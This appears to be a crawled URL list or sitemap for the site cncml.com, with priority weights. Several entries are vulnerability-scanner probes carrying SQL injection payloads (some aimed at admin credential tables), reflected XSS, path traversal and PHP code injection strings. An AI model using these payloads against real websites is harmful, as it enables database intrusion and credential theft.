http://www.cncml.com/thread-49-1-1.html 0.0002 http://www.cncml.com/thread-5-1-1.html 0.0003 http://www.cncml.com/thread-50-1-1.html 0.0001 http://www.cncml.com/thread-51-1-1.html 0.0004 http://www.cncml.com/thread-51-1-3.html 0.0001 http://www.cncml.com/thread-52-1-1.html 0.0001 http://www.cncml.com/thread-53-1-1.html 0.0001 http://www.cncml.com/thread-54-1-1.html 0.0001 http://www.cncml.com/thread-55-1-1.html 0.0001 http://www.cncml.com/thread-56-1-1.html 0.0001 http://www.cncml.com/thread-57-1-1.html 0.0001 http://www.cncml.com/thread-58-1-1.html 0.0001 http://www.cncml.com/thread-59-1-1.html 0.0001 http://www.cncml.com/thread-6-1-1.html 0.0002 http://www.cncml.com/thread-60-1-1.html 0.0002 http://www.cncml.com/thread-61-1-1.html 0.0001 http://www.cncml.com/thread-62-1-1.html 0.0001 http://www.cncml.com/thread-63-1-1.html 0.0006 http://www.cncml.com/thread-64-1-1.html 0.0001 http://www.cncml.com/thread-66-1-1.html 0.0002 http://www.cncml.com/thread-67-1-1.html 0.0001 http://www.cncml.com/thread-68-1-1.html 0.0001 http://www.cncml.com/thread-69-1-1.html 0.0001 http://www.cncml.com/thread-7-1-1.html 0.0003 http://www.cncml.com/thread-70-1-1.html 0.0005 http://www.cncml.com/thread-71-1-1.html 0.0003 http://www.cncml.com/thread-72-1-1.html 0.0001 http://www.cncml.com/thread-73-1-1.html 0.0001 http://www.cncml.com/thread-74-1-1.html 0.0003 http://www.cncml.com/thread-76-1-1.html 0.0001 http://www.cncml.com/thread-77-1-1.html 0.0001 http://www.cncml.com/thread-79-1-1.html 0.0001 http://www.cncml.com/thread-8-1-1.html 0.0003 http://www.cncml.com/thread-80-1-1.html 0.0001 http://www.cncml.com/thread-81-1-1.html 0.0001 http://www.cncml.com/thread-82-1-1.html 0.0001 http://www.cncml.com/thread-84-1-1.html 0.0001 http://www.cncml.com/thread-85-1-1.html 0.0001 http://www.cncml.com/thread-87-1-1.html 0.0002 http://www.cncml.com/thread-89-1-1.html 0.0002 http://www.cncml.com/thread-9-1-1.html 0.0003 http://www.cncml.com/thread-90-1-1.html 0.0001 http://www.cncml.com/thread-91-1-1.html 0.0001 http://www.cncml.com/thread-92-1-1.html 0.0006 http://www.cncml.com/thread-96-1-1.html 0.0001 http://www.cncml.com/thread-97-1-1.html 0.0003 http://www.cncml.com/thread-98-1-1.html 0.0004 http://www.cncml.com/thread-99-1-1.html 0.0005 http://www.cncml.com/tk_xw/ 0.0001 http://www.cncml.com/tk_xw/gengxin.htm 0.0001 http://www.cncml.com/tk_xw/gonggao.htm 0.0001 http://www.cncml.com/tk_xw/guanfang.htm 0.0001 http://www.cncml.com/tk_xw/hope/hopedj/20050103/162655.html 0.0001 http://www.cncml.com/tk_xw/hope/left.htm 0.0001 http://www.cncml.com/tk_xw/hopetp/0098/025.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/2007-12-4/0417.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/2007-12-4/0418.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/2007-12-4/0425.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/20071009/3.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/20071009/item_1485_1187690834.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/20071009/item_240_1187682967.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/20071009/item_248_1187690499.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/20071009/item_3596_1187690736.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/20071009/item_4480_1187690385.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/Noname.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/cw1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/cw2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk10.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk11.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk3.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk4.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk5.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk6.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk7.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk8.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj16/kkk9.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/dj2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj9/003(4).gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj9/005(4).gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj9/007(4).gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj9/010(4).gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dj9/012(3).gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dot.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dt1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/dt2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/gw1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/gw2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/line_C1_R1.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/line_C1_R2.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/line_C1_R3.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/lmbj.jpg 0.0001 http://www.cncml.com/tk_xw/hopetp/qd1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/qd2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/rw1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/rw2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/top.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/xs1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/xs2.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/zy1.gif 0.0001 http://www.cncml.com/tk_xw/hopetp/zy2.gif 0.0001 http://www.cncml.com/tk_xw/huodong.htm 0.0001 http://www.cncml.com/tk_xw/images/bj.gif 0.0001 http://www.cncml.com/tk_xw/images/dh1_C1_R2.jpg 0.0001 http://www.cncml.com/tk_xw/images/dh1_C1_R3.jpg 0.0001 http://www.cncml.com/tk_xw/images/dh1_C1_R4.jpg 0.0001 http://www.cncml.com/tk_xw/images/dh1_C1_R5.jpg 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c1.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c10.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c11.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c12.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c15.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c3.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c4.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c5.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c7.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r10_c9.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r11_c12.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r12_c1.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r12_c3.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r1_c1.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r1_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r1_c16.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r1_c2.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r1_c6.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r2_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r2_c2.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r3_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r3_c6.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r4_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r5_c13.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r5_c2.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r5_c6.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r5_c8.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r6_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r7_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r7_c2.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r8_c14.gif 0.0001 http://www.cncml.com/tk_xw/images/gonggao_r9_c1.gif 0.0001 http://www.cncml.com/tk_xw/images/gz.gif 0.0001 http://www.cncml.com/tk_xw/images/jy.gif 0.0001 http://www.cncml.com/tk_xw/images/logo_gh.gif 0.0001 http://www.cncml.com/tk_xw/images/logo_tkgame.gif 0.0001 http://www.cncml.com/tk_xw/images/logo_xw.gif 0.0001 http://www.cncml.com/tk_xw/images/sh.gif 0.0001 http://www.cncml.com/tk_xw/images/spacer.gif 0.0001 http://www.cncml.com/tk_xw/images/wujian.gif 0.0001 http://www.cncml.com/uc_server/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/uc_server/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/uc_server/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/uc_server/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/uc_server/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/uc_server/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/uc_server/admin.php?m=user&a=login&iframe=&sid= 0.0001 http://www.cncml.com/uc_server/crossdomain.xml 0.0001 http://www.cncml.com/uc_server/data/avatar/000/00/00/01_avatar_middle.jpg 0.0005 http://www.cncml.com/uc_server/data/avatar/000/00/00/01_avatar_small.jpg 0.0001 http://www.cncml.com/uc_server/data/avatar/000/00/00/93_avatar_small.jpg 0.0001 http://www.cncml.com/uc_server/images/noavatar_middle.gif 0.0001 http://www.cncml.com/uc_server/images/noavatar_small.gif 0.0001 http://www.cncml.com/uc_server/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/uc_server/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/uc_server/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/uc_server/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/uc_server/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/uc_server/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/uc_server/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/uc_server/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/uc_server/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/uc_server/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/uc_server/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/uc_server/index.php?m=Order&a=index 0.0001 http://www.cncml.com/uc_server/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/uc_server/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/uc_server/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/uc_server/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/uc_server/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/uc_server/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/uc_server/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/uc_server/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/uc_server/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/uc_server/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/uc_server/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/uc_server/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/uc_server/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/uc_server/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/uc_server/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/uc_server/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/uc_server/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074139_19475.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074152_27696.jpg 0.0002 http://www.cncml.com/uploadfiles/image/201210/20121008074204_73775.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074214_19201.jpg 0.0002 http://www.cncml.com/uploadfiles/image/201210/20121008074227_37325.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074238_93383.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074251_99343.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074302_44112.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074311_11076.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074327_60012.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074338_55780.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074350_15114.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074401_21549.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074412_89554.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074423_22881.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074435_34592.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074445_89560.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074458_80757.jpg 0.0003 http://www.cncml.com/uploadfiles/image/201210/20121008074509_54879.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074521_94699.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074532_30409.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074544_81155.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074554_55469.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008074604_42486.jpg 0.0002 http://www.cncml.com/uploadfiles/image/201210/20121008160241_55755.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008160254_43266.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008160304_47466.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008160325_21980.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008170315_86313.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008170349_58710.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008170408_13293.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008170452_48399.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008170514_10516.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008170618_41901.jpg 0.0003 http://www.cncml.com/uploadfiles/image/201210/20121008170639_66920.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008174157_97091.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008175713_44881.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008175726_73498.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121008175740_23883.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121011162623_98964.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/20121012061137_90631.jpg 0.0001 http://www.cncml.com/uploadfiles/image/201210/fda41647be94599b1c64c07b4510d375.jpg 0.0001 http://www.cncml.com/wq_links-main.html 0.0012 http://www.cncml.com/wq_links-main.html?mod=apply 0.0005 http://www.cncml.com/wq_links-main.html?mod=apply%20 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/wq_links-main.html?mod=apply'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 